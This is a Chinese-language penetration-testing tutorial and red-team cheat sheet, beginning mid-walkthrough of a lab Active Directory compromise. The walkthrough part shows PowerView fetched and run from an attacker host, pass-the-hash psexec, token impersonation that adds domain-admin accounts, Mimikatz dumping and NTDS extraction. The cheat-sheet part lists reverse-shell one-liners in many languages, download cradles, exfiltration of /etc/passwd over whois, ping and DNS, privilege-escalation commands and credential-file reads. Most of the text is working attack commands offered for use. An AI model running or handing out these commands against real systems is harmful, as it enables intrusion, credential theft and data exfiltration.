S-1-5-21-280973330-564264495-219324212-1003Disabled : ERRORIsGroup : FalseIsDomain : FalseLastLogin : Server : WIN7-ENT-CLI2.RedHook.localAccountName : WIN7-ENT-CLI2/AdministratorSID : S-1-5-21-1588183677-2924731702-2964281847-500Disabled : ERRORIsGroup : FalseIsDomain : FalseLastLogin : Server : WIN7-ENT-CLI2.RedHook.localAccountName : RedHook.local/Domain AdminsSID : S-1-5-21-129707511-1158432277-3818383092-512Disabled : FalseIsGroup : TrueIsDomain : TrueLastLogin : Server : WIN7-ENT-CLI2.RedHook.localAccountName : WIN7-ENT-CLI2/TemplateAdmin # Mmm², very suspicious, the local userSID : S-1-5-21-1588183677-2924731702-2964281847-1004 TemplateAdmin is an admin on both "ClientDisabled : ERROR 1" and "Client 2"!IsGroup : FalseIsDomain : FalseLastLogin : # PowerSploit => Get-NetSession: List active, remote, logon sessions on the DC. C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName REDRUM-DC" sesi10_cname sesi10_username sesi10_time sesi10_idle_time------------ --------------- ----------- ----------------\\[fe80::18a3:b250:ed6a:28f0] REDRUM-DC$ 10 10\\10.1.1.2 asenath.waite 0 0 # Same for "Client 2". Crucially, notice that the domain user REDHOOK\Administrator is authenticated to the box and that the connection is originating from the DC! C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName WIN7-ENT-CLI2" sesi10_cname sesi10_username sesi10_time sesi10_idle_time------------ --------------- ----------- ----------------\\10.1.1.200 Administrator 1721 124\\10.1.1.2 asenath.waite 0 0 # Let's get some more info about that account. Again, this is listing information about REDHOOK\Administrator not the local administrator. C:\Windows\System32> net user Administrator /domain The request will be processed at a domain controller for domain RedHook.local. User name AdministratorFull NameComment Built-in account for administering the computer/domainUser's commentCountry code 000 (System Default)Account active YesAccount expires Never Password last set 25/01/2016 21:15:11Password expires NeverPassword changeable 26/01/2016 21:15:11Password required YesUser may change password Yes Workstations allowed AllLogon scriptUser profileHome directoryLast logon 28/01/2016 21:38:22 Logon hours allowed All Local Group Memberships *AdministratorsGlobal Group memberships *Domain Users *Domain Admins # Oops, he is a DA!The command completed successfully. # We also won't forget to retrieve some info about our fictional target REDHOOK\redhook.DA. C:\Windows\System32> net user redhook.DA /domain The request will be processed at a domain controller for domain RedHook.local. User name redhook.DAFull Name redhook DACommentUser's commentCountry code 000 (System Default)Account active YesAccount expires Never Password last set 25/01/2016 21:27:37Password expires NeverPassword changeable 26/01/2016 21:27:37Password required YesUser may change password Yes Workstations allowed AllLogon scriptUser profileHome directoryLast logon 28/01/2016 21:18:56 Logon hours allowed All Local Group MembershipsGlobal Group memberships *Enterprise Admins *Domain Admins # Our target on the other hand is the *Group Policy Creator *Schema Admins mother root of DA's hehe!The command completed successfully. 通过简单的信息收集,我们能了解到让我们自己成为域管理员的途径。 本地用户TemplateAdmin 是client1和client2的管理员 尽管没有获取到TemplateAdmin明文,但是获取到TemplateAdmi的hash,可用来访问client2 REDHOOK\ Administrator帐户已通过client2身份验证,如果在其登录时获取了权限,可以获取其明文凭据,即可获得域控权限。 3.Socks代理 最后一件事就是通过metasploit添加路由,让我们通过sokcks代理访问目标系统,如果使用msf或cobalt strike那么就非常简单。 meterprter>run autoroute -h meterprter>run autoroute -s 10.1.1.0/24 meterprter>run autoroute -p meterprter>esc键 msf>use auxiliay/server/socks4a msf>show options msf>exploit 使用session1路由, 通过socks4a来进行进一步的扫描 msf>use auxiliary/scanner/smb/smb_version msf>set rhosts 10.1.1.0/24 msf>set threads 20 msf>show options msf>exploit 此外,通过proxychains启动socks代理加载nmap进行远程目标网络扫描, proxychains nmap -sTV -p 53,445 -Pn 10.1.1.200 在这种情况下,socks代理将仅接受TCP通信。仍然可以执行大多数操作,但要注意这一限制。 使用本机功能无法在Windows计算机上设置socks代理。但是,使用netsh可以创建端口转发. 0x04 攻击client2主机 在“client1”和“client2”之间共享的本地管理员帐户TemplateAdmin很好地表明它们具有相同的凭据。因此,与攻击“client2”与上面的场景没有太大区别,只是必须跳转shell,需要使用帐户哈希而不是明文密码。下面我将展示两种方法来实现这一点,但其他选择肯定是可能的。 1.Metasploit(PortProxy&PsExec) 即使可以通过metasploit中的路由到达“clicent2,也很难恢复连接。为了解决这个问题,可以使用portproxy模块在“clicent1”上创建端口转发规则。 msf>use post/winodws/manage/portproxy msf>set connect_address 10.0.0.128 msf>set ipv6_xp true msf>set local_address 10.1.1.2 msf>set local_port 9988 msf>set session 1 msf>set type v4tov4 msf>show options msf>exploit client1监听10.1.1.2:9988向10.0.0.128:9988发送流量。其实是在Windows中嵌套了netsh,下的就是稍微重新配置PsExec。 msf>use exploit/winodws/smb/psexec msf>set rhost 10.01.1.3 msf>set prot 445 msf>set smbpass ImSoSecur3! msf>set share ADMIN$ msf>exploit msf >use payload windows/meterprter/reverse_tcp msf>set lhost 10.1.1.2 msf>set lport 9988 msf>exploit meterpter>ipconfig 2.Impacket(PsExec)&netsh 在client1上使用netsh手动设置转发规则 python psexec.py bob:[email protected] cmd netsh interface portproxy add v4tov4 listenaddress=10.0.0.129 listenport=5678 connectaddress=10.1.1.3 connectport=445 netsh interface portproxy dump 现在,我们已经建立了一条规则,该规则会将到达10.0.0.129:5678的流量转发到10.1.1.3:445。为此,Impacket的PsExec需要连接到自定义端口,不支持现成的端口,但是我们可以轻松地编辑python源。 现在有个规则是把流量从10.0.0.129:5678转发到10.1.1.3:445,Impacket的PsExec需要连接到自定义端口,不支持现有的端口,但是可以轻松地编辑python源。 修改并保存后,可以简单地将PsExec更改为10.0.0.129,并将流量转发到10.1.1.3 python psexec.py -hashs aad3b435b51404eeaad3b51404ee:9dc2111131a18a1645ce61871a4fddb7 [email protected] cmd ipconfig 完成后,清理端口转发规则。以下命令将重置端口代理配置文件。 C:\Windows\system32> netsh interface portproxy reset 纯Windows端口 下: 在这种情况下,最好的选择是使用pyinstaller修改和编译Impacket的PsExec,类似于maaaaz编译的(https://github.com/maaaaz/impacket-examples-windows)。 0x05 建立据点02 这可能与第一种情况类似,也可能不同,这取决于REDHOOK\Administrator对“clicent 2”进行身份验证的方式。例如,如果输入 了一个简单的“ net use \\10.1.1.3\C$“命令,那么无法获得明文凭证或哈希,但是输入命令“ net use \\10.1.1.3\C$ /user:REDHOOK\Administrator XXXXXXX“就可获取凭证。 即使我们无法获得明文凭证,仍然能找到以REDHOOK\Administrator身份运行的进程,并使用incognito来模拟其令牌。 1.Metasploit Easy-Mode (Mimikatz & hashdump & incognito) meterprter>load mimikatz meterprter>tspkg meterprter>msv meterprter>hashdump meterprter>shell tasklist /v /fo csv | findstr REDHOOK\administrator meterprter>load incognito meterprter>impersonate token REDHOOK\\administrator meterprter>shell whoami net user b33f t0tallyL3gint! /add /domain net group "domain admins" b33f /add /domain 2.Impacket (PsExec) & incognito 使用incognito来执行远程命令: python psexec.py -hashs aad3b435b51404eeaad3b51404ee:9dc2111131a18a1645ce61871a4fddb7 [email protected] cmd cd .. put /var/www/html/incognito.exe incognito list_tokens -u echo net user b33f_2_t0tallyL3git! /add /domain >runme.bat echo group "domain admins" b33f_2 /add /domain >>runme.bat incognito execute -c "REDHOOK\administator" "cmd.exe /c c:\windows\ruume.bat" 运行命令后,shell被挂起。发现如果没有“-c”(交互模式)参数,shell不会挂起,但是命令也不会正确执行,如果不将命令分组到bat文件中,那么它只会在挂起之前执行第一个命令。需要说明的是,只有通过PsExec执行incognito时才会出现此问题。 虽然这是一个麻烦的解决方案,但是一旦重新登录到主机上,就可以看到批处理脚本正确运行。 python psexec.py -hashs aad3b435b51404eeaad3b51404ee:9dc2111131a18a1645ce61871a4fddb7 [email protected] cmd cd .. del runme.bat del incoginto.exe net user b33f_2 /domain 3.文件传输 显然,使用Impacket的PsExec中的“ put”命令对其有所帮助。通常,一个好的方法是将可能需要的所有文件下载到目标主机上,可以使用PowerShell的WebClient或bitsadmin之类的工具。 # Create an unrestricted share. C:\Users\asenath.waite> md C:\Users\asenath.waite\Desktop\test C:\Users\asenath.waite> echo Hello > C:\Users\asenath.waite\Desktop\test\test.txt C:\Users\asenath.waite> net share SomeShare=C:\Users\asenath.waite\Desktop\test /grant:everyone,full SomeShare was shared successfully. C:\Users\asenath.waite> net share Share name Resource Remark ------------------------------------------------------------------------------- C$ C:\ Default share IPC$ Remote IPC ADMIN$ C:\Windows Remote Admin SomeShare C:\Users\asenath.waite\Desktop\test The command completed successfully. # On the remote host simple mount the share. C:\Users\belial> net use \\10.0.0.129\SomeShare The command completed successfully. C:\Users\belial> type \\10.0.0.129\SomeShare\test.txt Hello # Unmount. C:\Users\belial> net use \\10.0.0.129\SomeShare /delete \\10.0.0.129\SomeShare was deleted successfully. # Clean up the share. C:\Users\asenath.waite> net share C:\Users\asenath.waite\Desktop\test /delete /yes Users have open files on SomeShare. Continuing the operation will force the files closed. SomeShare was deleted successfully. C:\Users\asenath.waite> rd /S /Q C:\Users\asenath.waite\Desktop\test 0x06 攻击Redrum-DC 至此,要么找到了REDHOOK\Administrator的认证登录凭据,要么创建自己的Doman Admins组的账号,这意味着攻击DC的过程将与用于攻击“clicent 2”的过程完全相同。 1.Socks Proxy & Impacket (WmiExec) 还记得之前用户socks代理么,可以使用它来访问域内几乎所有主机网络。 proxychains python wmiexec.py REDHOOK/administrator:[email protected] whoami ipconfig powshell -exec bypass -command 'Get-windowsFeature | findstr [x]" 2.Sysinternals (PsExec) & Invoke-Mimikatz 获取初始目标REDHOOK\redhook.DA帐户的可用凭据。此示例使用Invoke-Mimikatz的功能将凭据转储到远程计算机上。从本质上讲,在clicent 1上以REDHOO\Administrator的权限获得一个反弹shell,然后在DC上启动Mimikatz。 PsExec.exe \\10.0.0.129 -u REDHOOK\administrator -p QazWxEdc123! cmd whomai powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DowloadString(http://10.0.0.128/Invoke-Mimikatz.ps1');Invoke-Mimikatz -command ' privilege:debug sekurlsa::msv exit' -ComputerName 'Redrum-DC'" 之所以仅在此处转储哈希值,是因为由于2k12 R2 / Windows 8.1+上增强的保护功能,无法为经过身份验证的用户获得明文凭证。但是,从输出中可以看到,已经成功获取了REDHOOK \ redhook.DA NTLM哈希值,该哈希可以以该用户身份向域中的其他计算机进行身份验证。 python wmiexec.py -hashs 00000000000000000000000000000000:f9cbc81794c91aa773a7b4232295d46 REDOOK/[email protected] whoami 请注意,只是对哈希的LM部分进行了空填充,实际上对放置的内容并不重要。 0x07 提取NTDS 很多时候提取了NTDS 说明渗透要结束了,强烈建议您在此处阅读Sean Metcalf的文章,其中展示了许多不同的技术,包括通过本地shell访问DC以及使用WMI进行远程访问,下面我介绍一下访问本地shell或通过wmi来执行命令的方法。 1.Volume Shadow Copy (Classic-Mode) 最基本的独立的方法是使用vssadmin C:\> whoami redhook\redhook.da # Get the path to NTDS, it may not be in the C drive. C:\> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters System Schema Version REG_DWORD 0x45 Root Domain REG_SZ DC=RedHook,DC=local Configuration NC REG_SZ CN=Configuration,DC=RedHook,DC=local Machine DN Name REG_SZ CN=NTDS Settings,CN=REDRUM-DC,CN=Servers,CN=There-Be-Dragons,CN=Sites,CN= Configuration,DC=RedHook,DC=local DsaOptions REG_SZ 1 IsClone REG_DWORD 0x0 ServiceDll REG_EXPAND_SZ %systemroot%\system32\ntdsa.dll DSA Working Directory REG_SZ C:\Windows\NTDS DSA Database file REG_SZ C:\Windows\NTDS\ntds.dit Database backup path REG_SZ C:\Windows\NTDS\dsadata.bak Database log files path REG_SZ C:\Windows\NTDS Hierarchy Table Recalculation interval (minutes) REG_DWORD 0x2d0 Database logging/recovery REG_SZ ON DS Drive Mappings REG_MULTI_SZ c:\=\\?\Volume{1c6c559b-3db6-11e5-80ba-806e6f6e6963}\ DSA Database Epoch REG_DWORD 0x7983 Strict Replication Consistency REG_DWORD 0x1 Schema Version REG_DWORD 0x45 ldapserverintegrity REG_DWORD 0x1 Global Catalog Promotion Complete REG_DWORD 0x1 DSA Previous Restore Count REG_DWORD 0x1 # Create a shadow copy of C. C:\> vssadmin create shadow /for=c: vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool (C) Copyright 2001-2013 Microsoft Corp. Successfully created shadow copy for 'c:\' Shadow Copy ID: {e0fd5b2d-b32d-4bba-89a2-efcf0b7b8fda} Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 # Copy out ntds and the system hive. C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\ntds.dit 1 file(s) copied. C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hive 1 file(s) copied. 把文件拖到攻击者的机器里面有很多方法,执行此操作的多种方法,选择一个,可以简单的使用Impacket’s SecretsDump本地解压传输内容。 python secretsdump.py -ntds /root/Desktop/ntds.dit -system /root/Desktop/system.hive local 注意下NTDS可能会包含很多用户,甚至上千,是非常大的,导出的时候要小心。! Invoke-NinjaCopy也可以使用类似的方法获取ntds,可以在Sean Metcalf的文章中看到一个示例。 2.Socks Proxy & Impacket (SecretsDump) (Easy-Mode) 如果我们有socks代理,则很容易的使用明文密码来执行SecretsDump proxychains python secretsdump.py -hashs 00000000000000000000000000000000:f9cbc81794c91aa773a7b4232295d46 REDOOK/[email protected]
  25. 信息搜集 开源情报信息收集(OSINT) github Github_Nuggests(自动爬取Github上文件敏感信息泄露) :https://github.com/az0ne/Github_Nuggests GSIL(能够实现近实时(15分钟内)的发现Github上泄露的信息) :https://github.com/FeeiCN/GSIL x-patrol(小米团队的):https://github.com/MiSecurity/x-patrol whois查询/注册人反查/邮箱反查/相关资产 站长之家:http://whois.chinaz.com/?DomainName=target.com&ws= 爱站:https://whois.aizhan.com/target.com/ 微步在线:https://x.threatbook.cn/ IP反查:https://dns.aizhan.com/ 天眼查:https://www.tianyancha.com/ 虎妈查:http://www.whomx.com/ 历史漏洞查询 : 在线查询:http://wy.zone.ci/ 自搭建:https://github.com/hanc00l/wooyun_publi/ google hacking 创建企业密码字典 字典列表 passwordlist:https://github.com/lavalamp-/password-lists 猪猪侠字典:https://pan.baidu.com/s/1dFJyedzBlasting_dictionary(分享和收集各种字典,包括弱口令,常用密码,目录爆破。数据库爆破,编辑器爆破,后台爆破等) 针对特定的厂商,重点构造厂商相关域名的字典 ['%pwd%123','%user%123','%user%521','%user%2017','%pwd%321','%pwd%521','%user%321','%pwd%123!','%pwd%123!@#','%pwd%1234','%user%2016','%user%123$%^','%user%123!@#','%pwd%2016','%pwd%2017','%pwd%1!','%pwd%2@','%pwd%3#','%pwd%123#@!','%pwd%12345','%pwd%123$%^','%pwd%!@#456','%pwd%123qwe','%pwd%qwe123','%pwd%qwe','%pwd%123456','%user%123#@!','%user%!@#456','%user%1234','%user%12345','%user%123456','%user%123!'] 密码生成 GenpAss(中国特色的弱口令生成器: https://github.com/RicterZ/genpAss/ passmaker(可以自定义规则的密码字典生成器) :https://github.com/bit4woo/passmaker pydictor(强大的密码生成器) :https://github.com/LandGrey/pydictor 邮箱列表获取 theHarvester :https://github.com/laramies/theHarvester 获取一个邮箱以后导出通讯录 LinkedInt :https://github.com/mdsecactivebreach/LinkedInt Mailget:https://github.com/Ridter/Mailget 泄露密码查询 ghostproject: https://ghostproject.fr/ pwndb: https://pwndb2am4tzkvold.onion.to/ 对企业外部相关信息进行搜集 子域名获取 Layer子域名挖掘机4.2纪念版 subDomainsBrute :https://github.com/lijiejie/subDomainsBrute wydomain :https://github.com/ring04h/wydomain Sublist3r :https://github.com/aboul3la/Sublist3r site:target.com:https://www.google.com Github代码仓库 抓包分析请求返回值(跳转/文件上传/app/api接口等) 站长帮手links等在线查询网站 域传送漏洞 Linux dig @ns.example.com example=.com AXFR Windows nslookup -type=ns xxx.yyy.cn #查询解析某域名的DNS服务器 nslookup #进入nslookup交互模式 server dns.domian.com #指定dns服务器 ls xxx.yyy.cn #列出域信息 GetDomainsBySSL.py :https://note.youdao.com/ynoteshare1/index.html?id=247d97fc1d98b122ef9804906356d47a&type=note#/ censys.io证书 :https://censys.io/certificates?q=target.com crt.sh证书查询:https://crt.sh/?q=%25.target.com shadon :https://www.shodan.io/ zoomeye :https://www.zoomeye.org/ fofa :https://fofa.so/ censys:https://censys.io/ dnsdb.io :https://dnsdb.io/zh-cn/search?q=target.com api.hackertarget.com :http://api.hackertarget.com/reversedns/?q=target.com community.riskiq.com :https://community.riskiq.com/Search/target.com subdomain3 :https://github.com/yanxiu0614/subdomain3 FuzzDomain :https://github.com/Chora10/FuzzDomain dnsdumpster.com :https://dnsdumpster.com/ phpinfo.me :https://phpinfo.me/domain/ dns开放数据接口 :https://dns.bufferover.run/dns?q=baidu.com 进入内网 基于企业弱账号漏洞 VPN(通过邮箱,密码爆破,社工等途径获取VPN) 企业相关运维系统(zabbix等) 基于系统漏洞进入 Metasploit(漏洞利用框架):https://github.com/rapid7/metasploit-framework 漏洞利用脚本 网站应用程序渗透 SQL注入 跨站脚本(XSS) 跨站请求伪造(CSRF) SSRF(ssrf_proxy) 功能/业务逻辑漏洞 其他漏洞等 CMS-内容管理系统漏洞 企业自建代理 无线Wi-Fi接入 隐匿攻击 Command and Control ICMP :https://pentestlab.blog/2017/07/28/command-and-control-icmp/ DNS :https://pentestlab.blog/2017/09/06/command-and-control-dns/ DropBox :https://pentestlab.blog/2017/08/29/command-and-control-dropbox/ Gmail :https://pentestlab.blog/2017/08/03/command-and-control-gmail/ Telegram :http://drops.xmd5.com/static/drops/tips-16142.html Twitter :https://pentestlab.blog/2017/09/26/command-and-control-twitter/ Website Keyword :https://pentestlab.blog/2017/09/14/command-and-control-website-keyword/ PowerShell :https://pentestlab.blog/2017/08/19/command-and-control-powershell/ Windows COM :https://pentestlab.blog/2017/09/01/command-and-control-windows-com/ WebDAV :https://pentestlab.blog/2017/09/12/command-and-control-webdav/ Office 365 :https://www.anquanke.com/post/id/86974 HTTPS :https://pentestlab.blog/2017/10/04/command-and-control-https/ Kernel :https://pentestlab.blog/2017/10/02/command-and-control-kernel/ Website :https://pentestlab.blog/2017/11/14/command-and-control-website/ WMI :https://pentestlab.blog/2017/11/20/command-and-control-wmi/ WebSocket :https://pentestlab.blog/2017/12/06/command-and-control-websocket/ Images :https://pentestlab.blog/2018/01/02/command-and-control-images/ Web Interface :https://pentestlab.blog/2018/01/03/command-and-control-web-interface/ JavaScript :https://pentestlab.blog/2018/01/08/command-and-control-javascript/ ... Fronting Domain Fronting Tor_Fronting. 代理 VPN HTTP :http://cn-proxy.com/ Tor 内网跨边界应用 内网跨边界转发 NC端口转发 LCX端口转发 nps 代理脚本 Tunna Reduh ... 内网跨边界代理穿透 EW 正向 SOCKS v5 服务器: ./ew -s ssocksd -l 1080 反弹 SOCKS v5 服务器:a) 先在一台具有公网 ip 的主机A上运行以下命令: $ ./ew -s rcsocks -l 1080 -e 8888 b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口 $ ./ew -s rssocks -d 1.1.1.1 -e 8888 多级级联 $ ./ew -s lcx_listen -l 1080 -e 8888 $ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999 $ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999 lcx_tran 的用法 $ ./ew -s ssocksd -l 9999 $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999 lcx_listen、lcx_slave 的用法 $ ./ew -s lcx_listen -l 1080 -e 8888 $ ./ew -s ssocksd -l 9999 $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 “三级级联”的本地SOCKS测试用例以供参考 $ ./ew -s rcsocks -l 1080 -e 8888 $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 $ ./ew -s lcx_listen -l 9999 -e 7777 $ ./ew -s rssocks -d 127.0.0.1 -e 7777 Termite 使用说明:https://rootkiter.com/Termite/README.txt 代理脚本 reGeorg :https://github.com/sensepost/reGeorg shell反弹 bash bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 perl perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' php php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' ruby ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' java r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() nc #使用-e nc -e /bin/sh 223.8.200.234 1234 #不使用-e mknod /tmp/backpipe p /bin/sh 0/tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe lua lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" 内网文件的传输和下载 wput wput dir_name ftp://linuxpig:[email protected]/ wget wget http://site.com/1.rar -O 1.rar ariac2(需安装) aria2c -o owncloud.zip https://download.owncloud.org/community/owncloud-9.0.0.tar.bz2 powershell $p = New-Object System.Net.WebClient $p.DownloadFile("http://domain/file","C:%homepath%file") vbs脚本 Set args = Wscript.Arguments Url = "http://domain/file" dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", Url, False xHttp.Send with bStrm .type = 1 ' .open .write xHttp.responseBody .savetofile " C:\%homepath%\file", 2 ' end with 执行 :cscript test.vbs Perl #!/usr/bin/perl use LWP::Simple; getstore("http://domain/file", "file"); 执行:perl test.pl Python #!/usr/bin/python import urllib2 u = urllib2.urlopen('http://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close() 执行:python test.py Ruby #!/usr/bin/ruby require 'net/http' Net::HTTP.start("www.domain.com") { |http| r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) } } 执行:ruby test.rb PHP <?php $url = 'http://www.example.com/file'; $path = '/path/to/file'; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec($ch); curl_close($ch); file_put_contents($path, $data); ?> 执行:php test.php NC attacker cat file | nc -l 1234 target nc host_ip 1234 > file FTP ftp 127.0.0.1 username password get file exit TFTP tftp -i host GET C:%homepath%file location_of_file_on_tftp_server Bitsadmin bitsadmin /transfer n http://domain/file c:%homepath%file Window 文件共享 net use x: \127.0.0.1\share /user:example.comuserID myPassword SCP 本地到远程 scp file [email protected]:/tmp 远程到本地 scp [email protected]:/tmp file rsync 远程rsync服务器中拷贝文件到本地机 rsync -av [email protected]::www /databack 本地机器拷贝文件到远程rsync服务器 rsync -av /databack [email protected]::www certutil.exe certutil.exe -urlcache -split -f http://site.com/file copy copy \\IP\ShareName\file.exe file.exe WHOIS接收端 Host B: nc -vlnp 1337 | sed "s/ //g" | base64 -d 发送端 Host A: whois -h host_ip -p 1337 `cat /etc/passwd | base64` WHOIS + TARFirst: ncat -k -l -p 4444 | tee files.b64 #tee to a file so you can make sure you have it Next tar czf - /tmp/* | base64 | xargs -I bits timeout 0.03 whois -h host_ip -p 4444 bits Finally cat files.b64 | tr -d '\r\n' | base64 -d | tar zxv #to get the files out PING发送端: xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done 接收端ping_receiver.py: import sys try: from scapy.all import * except: print("Scapy not found, please install scapy: pip install scapy") sys.exit(0) def process_packet(pkt): if pkt.haslayer(ICMP): if pkt[ICMP].type == 8: data = pkt[ICMP].load[-4:] print(f'{data.decode("utf-8")}', flush=True, end="", sep="") sniff(iface="eth0", prn=process_packet) python3 ping_receiver.py DIG发送端: xxd -p -c 31 /etc/passwd | while read line; do dig @172.16.1.100 +short +tries=1 +time=1 $line.gooogle.com; done 接收端dns_reciver.py: try: from scapy.all import * except: print("Scapy not found, please install scapy: pip install scapy") def process_packet(pkt): if pkt.haslayer(DNS): domain = pkt[DNS][DNSQR].qname.decode('utf-8') root_domain = domain.split('.')[1] if root_domain.startswith('gooogle'): print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='') sniff(iface="eth0", prn=process_packet) python3 dns_reciver.py ... 搭建 HTTP server python2 python -m SimpleHTTPServer 1337 python3 python -m http.server 1337 PHP 5.4+ php -S 0.0.0.0:1337 ruby ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start' ruby -run -e httpd . -p 1337 Perl perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start' perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })' busybox httpd busybox httpd -f -p 8000 内网信息搜集 本机信息搜集 1、用户列表 windows用户列表 分析邮件用户,内网[域]邮件用户,通常就是内网[域]用户 2、进程列表 析杀毒软件/安全监控工具等 邮件客户端 VPN ftp等 3、服务列表 与安全防范工具有关服务[判断是否可以手动开关等]存在问题的服务[权限/漏洞] 4、端口列表 开放端口对应的常见服务/应用程序[匿名/权限/漏洞等]利用端口进行信息收集 5、补丁列表 分析 Windows 补丁第三方软件[Java/Oracle/Flash 等]漏洞 6、本机共享 本机共享列表/访问权限本机访问的域共享/访问权限 7、本用户习惯分析 历史记录 收藏夹 文档等 8、获取当前用户密码工具 Windows mimikatz wce Invoke-WCMDump mimiDbg LaZagne nirsoft_package QuarksPwDump fgdump 星号查看器等 Linux LaZagne mimipenguin 扩散信息收集 端口扫描 常用端口扫描工具 nmap masscan zmap s扫描器 自写脚本等 NC ... 内网拓扑架构分析 DMZ 管理网 生产网 测试网 常见信息收集命令 ipconfig: ipconfig /all ------> 查询本机 IP 段,所在域等 net: net user ------> 本机用户列表 net localgroup administrators ------> 本机管理员[通常含有域用户] net user /domain ------> 查询域用户 net group /domain ------> 查询域里面的工作组 net group "domain admins" /domain ------> 查询域管理员用户组 net localgroup administrators /domain ------> 登录本机的域管理员 net localgroup administrators workgroup\user001 /add ----->域用户添加到本机 net group "Domain controllers" -------> 查看域控制器(如果有多台) net view ------> 查询同一域内机器列表 net view /domain ------> 查询域列表 net view /domain:domainname dsquery dsquery computer domainroot -limit 65535 && net group "domain computers" /domain ------> 列出该域内所有机器名 dsquery user domainroot -limit 65535 && net user /domain------>列出该域内所有用户名 dsquery subnet ------>列出该域内网段划分 dsquery group && net group /domain ------>列出该域内分组 dsquery ou ------>列出该域内组织单位 dsquery server && net time /domain------>列出该域内域控制器 第三方信息收集 NETBIOS 信息收集 SMB 信息收集 空会话信息收集 漏洞信息收集等 权限提升 Windows BypassUAC 常用方法 使用IFileOperation COM接口 使用Wusa.exe的extract选项 远程注入SHELLCODE 到傀儡进程 DLL劫持,劫持系统的DLL文件 eventvwr.exe and registry hijacking sdclt.exe SilentCleanup wscript.exe cmstp.exe 修改环境变量,劫持高权限.Net程序 修改注册表HKCU\Software\Classes\CLSID,劫持高权限程序 直接提权过UAC 常用工具 UACME Bypass-UAC Yamabiko ... 提权 windows内核漏洞提权 检测类:Windows-Exploit-Suggester,WinSystemHelper,wesng利用类:windows-kernel-exploits,BeRoot 服务提权 数据库服务,ftp服务等 WINDOWS错误系统配置 系统服务的错误权限配置漏洞 不安全的注册表权限配置 不安全的文件/文件夹权限配置 计划任务 任意用户以NT AUTHORITY\SYSTEM权限安装msi 提权脚本 PowerUP,ElevateKit Linux 内核溢出提权 linux-kernel-exploits 计划任务 crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root SUID find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \; 系统服务的错误权限配置漏洞 cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg 不安全的文件/文件夹权限配置 cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history 找存储的明文用户名,密码 grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla 权限维持 系统后门 Windows 1、密码记录工具 WinlogonHack WinlogonHack 是一款用来劫取远程3389登录密码的工具,在 WinlogonHack 之前有 一个 Gina 木马主要用来截取 Windows 2000下的密码,WinlogonHack 主要用于截 取 Windows XP 以及 Windows 2003 Server。键盘记录器 安装键盘记录的目地不光是记录本机密码,是记录管理员一切的密码,比如说信箱,WEB 网页密码等等,这样也可以得到管理员的很多信息。NTPass 获取管理员口令,一般用 gina 方式来,但有些机器上安装了 pcanywhere 等软件,会导致远程登录的时候出现故障,本软件可实现无障碍截取口令。Linux 